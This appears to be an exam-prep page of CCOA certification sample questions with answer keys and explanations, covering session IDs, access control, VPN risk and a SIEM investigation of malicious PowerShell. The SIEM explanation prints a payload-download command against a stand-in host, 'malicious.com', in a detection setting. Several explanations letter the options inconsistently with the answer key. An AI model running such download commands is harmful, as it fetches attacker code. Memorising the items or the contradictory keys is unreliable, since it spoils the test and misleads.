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ISACA CCOA Exam Syllabus Topics:

Topic	Details
Topic 1	Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.
Topic 2	Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.
Topic 3	Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
Topic 4	Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
Topic 5	Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.

ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q105-Q110):

NEW QUESTION # 105
Exposing the session identifier in a URL is an example of which web application-specific risk?

A. Identification and authentication failures
B. Broken access control
C. Insecure design and implementation
D. Cryptographic failures

Answer: A

Explanation:
Exposing thesession identifier in a URLis a classic example of anidentification and authentication failure because:
* Session Hijacking Risk:Attackers can intercept session IDs when exposed in URLs, especially through techniques likereferrer header leaksorlogs.
* Session Fixation:If the session ID is predictable or accessible, attackers can force a user to log in with a known ID.
* OWASP Top Ten 2021 - Identification and Authentication Failures (A07):Exposing session identifiers makes it easier for attackers to impersonate users.
* Secure Implementation:Best practices dictate storing session IDs inHTTP-only cookiesrather than in URLs to prevent exposure.
Other options analysis:
* A. Cryptographic failures:This risk involves improper encryption practices, not session management.
* B. Insecure design and implementation:Broad category, but this specific flaw is more aligned with authentication issues.
* D. Broken access control:Involves authorization flaws rather than authentication or session handling.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Web Application Security:Covers session management best practices and related vulnerabilities.
* Chapter 8: Application Security Testing:Discusses testing for session-related flaws.

NEW QUESTION # 106
Which of the following should be considered FIRST when determining how to protect an organization's information assets?

A. A prioritized Inventory of IT assets
B. The organization's risk reporting
C. Results of vulnerability assessments
D. The organization's business model

Answer: D

Explanation:
When determining how to protect an organization's information assets, thefirst considerationshould be the organization's business modelbecause:
* Contextual Risk Management:The business model dictates thetypes of datathe organization processes, stores, and transmits.
* Critical Asset Identification:Understanding how the business operates helps prioritizemission-critical systemsand data.
* Security Strategy Alignment:Ensures that security measures align with business objectives and requirements.
* Regulatory Compliance:Different industries have unique compliance needs (e.g., healthcare vs.
finance).
Other options analysis:
* A. Prioritized inventory:Important but less foundational than understanding the business context.
* C. Vulnerability assessments:Relevant later, after identifying critical business functions.
* D. Risk reporting:Informs decisions but doesn't form the primary basis for protection strategies.
CCOA Official Review Manual, 1st Edition References:
* Chapter 2: Risk Management and Business Impact:Emphasizes considering business objectives before implementing security controls.
* Chapter 5: Strategic Security Planning:Discusses aligning security practices with business models.

NEW QUESTION # 107
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?

Answer:

Explanation:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

NEW QUESTION # 108
Which of the following is the PRIMARY benefit of implementing logical access controls on a need-to-know basis?

A. Providing a consistent user experience across different applications
B. Limiting access to sensitive data and resources
C. Ensuring users can access all resources on the network
D. Reducing the complexity of access control policies and procedures

Answer: B

Explanation:
The primary benefit of implementing logical access controls on aneed-to-know basisis tolimit access to sensitive data and resources. This principle ensures that users and processes have access only to the information necessary for their roles.
* Principle of Least Privilege:Minimizes the risk of data exposure by restricting access based on job responsibilities.
* Data Protection:Reduces the chance of internal data breaches by limiting who can view or modify sensitive information.
* Enhanced Security:Mitigates the risk of privilege misuse or insider threats.
Incorrect Options:
* B. Ensuring users can access all resources:This contradicts the need-to-know principle.
* C. Providing a consistent user experience:This is unrelated to access control.
* D. Reducing the complexity of access control policies:While it can simplify management, the primary goal is data protection.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Access Control Models," Subsection "Need-to-Know Principle" - Implementing need-to-know access reduces exposure of sensitive data by restricting access only to necessary users.

NEW QUESTION # 109
Which of the following is a PRIMARY risk that can be introduced through the use of a site-to-site virtual private network (VPN) with a service provider?

A. Loss of data integrity
B. Data exfiltration
C. Denial of service (DoS) attacks
D. Gaps in visibility to user behavior

Answer: D

Explanation:
Site-to-site VPNs establish secure, encrypted connections between two networks over the internet, typically used to link corporate networks with remote sites or a service provider's network. However, while these VPNs secure data transmission, they introduce specific risks.
Theprimary riskassociated with a site-to-site VPN with a service provider is theloss of visibility into user behavior. Here's why:
* Limited Monitoring:Since the traffic is encrypted and routed through the VPN tunnel, the organization may lose visibility over user activities within the service provider's network.
* Blind Spots in Traffic Analysis:Security monitoring tools (like IDS/IPS) that rely on inspecting unencrypted data may be ineffective once data enters the VPN tunnel.
* User Behavior Analytics (UBA) Issues:It becomes challenging to track insider threats or compromised accounts due to the encapsulation and encryption of network traffic.
* Vendor Dependency:The organization might depend on the service provider's security measures to detect malicious activity, which may not align with the organization's security standards.
Other options analysis:
* A. Loss of data integrity:VPNs generally ensure data integrity using protocols like IPsec, which validates packet integrity.
* C. Data exfiltration:While data exfiltration can occur, it is typically a consequence of compromised credentials or insider threats, not a direct result of VPN usage.
* D. Denial of service (DoS) attacks:While VPN endpoints can be targeted in a DoS attack, it is not the primaryrisk specific to VPN use with a service provider.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Network Security Operations:Discusses risks related to VPNs, including reduced visibility.
* Chapter 7: Security Monitoring and Incident Detection:Highlights the importance of maintaining visibility even when using encrypted connections.
* Chapter 8: Incident Response and Recovery:Addresses challenges related to VPN monitoring during incidents.

NEW QUESTION # 110
......

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CCOA TEST DURATION, CCOA VALID EXAM PASS4SURE

CCOA Test Duration, CCOA Valid Exam Pass4sure